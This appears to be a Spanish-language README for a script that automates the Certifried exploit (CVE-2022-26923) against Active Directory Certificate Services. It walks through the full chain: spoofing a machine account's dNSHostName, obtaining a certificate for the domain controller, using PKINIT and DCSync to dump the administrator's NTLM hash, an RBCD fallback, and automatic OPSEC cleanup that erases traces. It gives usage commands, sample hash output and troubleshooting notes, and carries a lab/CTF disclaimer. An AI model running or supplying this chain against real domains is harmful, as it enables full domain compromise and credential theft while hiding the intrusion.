
Explotación automatizada de CVE-2022-26923 (Certifried)
Explotación automatizada de CVE-2022-26923 (Certifried), permitiendo escalada de privilegios mediante el abuso de Servicios de Certificados de Active Directory (AD CS), con un fallback automático a Delegación Restringida Basada en Recursos (RBCD), y finalmente extrayendo el hash NTLM de una cuenta de administrador de dominio.
⚠️ Solo con fines educativos / Laboratorio / CTF
No usar en entornos no autorizados.
Este script automatiza la siguiente cadena de ataque:
dNSHostName para que coincida con el Controlador de Dominiosecretsdump.py usando el hash del DCbloodyADimpacket-addspngetST.pysecretsdump.py usando el ticket KerberosdNSHostName, provocando que la CA emita un certificado para la cuenta del DCpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip Dirección IP del Controlador de Dominio
-D, --domain Nombre del dominio (ej. corp.local)
-u, --user Usuario de dominio válido (formato UPN: usuario@dominio)
-p, --pass Contraseña del usuario
--verbose Modo depuración: muestra todos los comandos ejecutados
-h, --help Muestra este mensaje de ayuda
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
Consejo: Antes de ejecutar, identifique el nombre exacto de la CA y la plantilla usando:
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdoutLuego actualice
CA_NAMEyTEMPLATEen los valores predeterminados del script según corresponda.
Dependiendo del entorno, una de las dos rutas tendrá éxito:
Método 1 (Clásico):
[5] Classic authentication attempt (Recovering DC hash)... [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::
Método 2 (Fallback RBCD):
[5] Classic authentication attempt (Recovering DC hash)... [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...
[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::
La limpieza OPSEC se ejecuta automáticamente al final (o con Ctrl+C):
[*] Starting trace cleanup (OPSEC)...
[OK] Cleanup complete.
Creación de cuenta de máquina aleatoria (ej. PWN8472$)
↓
Suplantación de dNSHostName → dc.domain.local
↓
Verificación dinámica de sincronización LDAP (sondeo)
↓
Solicitud de certificado vía RPC (Plantilla de máquina)
[Reintento automático por timeout de NETBIOS hasta 5 veces]
↓
┌─────────────────────────────────────────┐
│ MÉTODO 1 — CLÁSICO │
│ certipy-ad auth -pfx dc.pfx │
│ → Hash NTLM del DC mediante PKINIT │
│ → DCSync mediante secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ MÉTODO 2 — FALLBACK RBCD │
│ Conversión PFX → PEM (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN en COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump mediante ticket KRB5 │
└─────────────────────────────────────────┘
↓
Limpieza OPSEC (trap EXIT/INT/TERM)
- Eliminar atributo RBCD en DC
- Eliminar cuenta de máquina (COMP$)
- Limpiar archivos locales PFX / PEM / ccache
Este proyecto se proporciona para:
El autor no asume ninguna responsabilidad por el uso no autorizado o ilegal de esta herramienta.
| Tool | Propósito |
|---|
certipy-ad | Creación/actualización de cuentas, solicitud de certificados, autenticación PKINIT |
bloodyAD | Manipulación de atributos RBCD (fallback) |
impacket-addspn | Adición de SPN en la cuenta de máquina (fallback) |
impacket-getST | Solicitud de ticket S4U2Self + S4U2Proxy (fallback) |
impacket-secretsdump | DCSync / extracción de hash NTLM |
openssl | Conversión PFX → PEM (fallback) |
| Síntoma | Causa | Solución |
|---|
NETBIOS connection timed out | Retraso de RPC de AD CS en HTB | Manejado automáticamente (5 reintentos) |
KDC_ERR_BADOPTION al ejecutar getST | SPN faltante en COMP$ | El script ahora usa impacket-addspn antes de getST |
KDC_ERR_WRONG_REALM al ejecutar secretsdump | SPN incorrecto (LDAP vs cifs) | El script usa SPN cifs/ para getST |
Clock skew too great | Desviación de tiempo de Kerberos | sudo ntpdate <DC_IP> antes de ejecutar |
| Fallo en eliminación de cuenta de máquina | Permisos de AD insuficientes (normal) | El script lo ignora correctamente con ` |
unrecognized arguments con certipy-ad | Sintaxis incorrecta (formato antiguo de certipy) | El script usa flags explícitas -u/-p/-target-ip |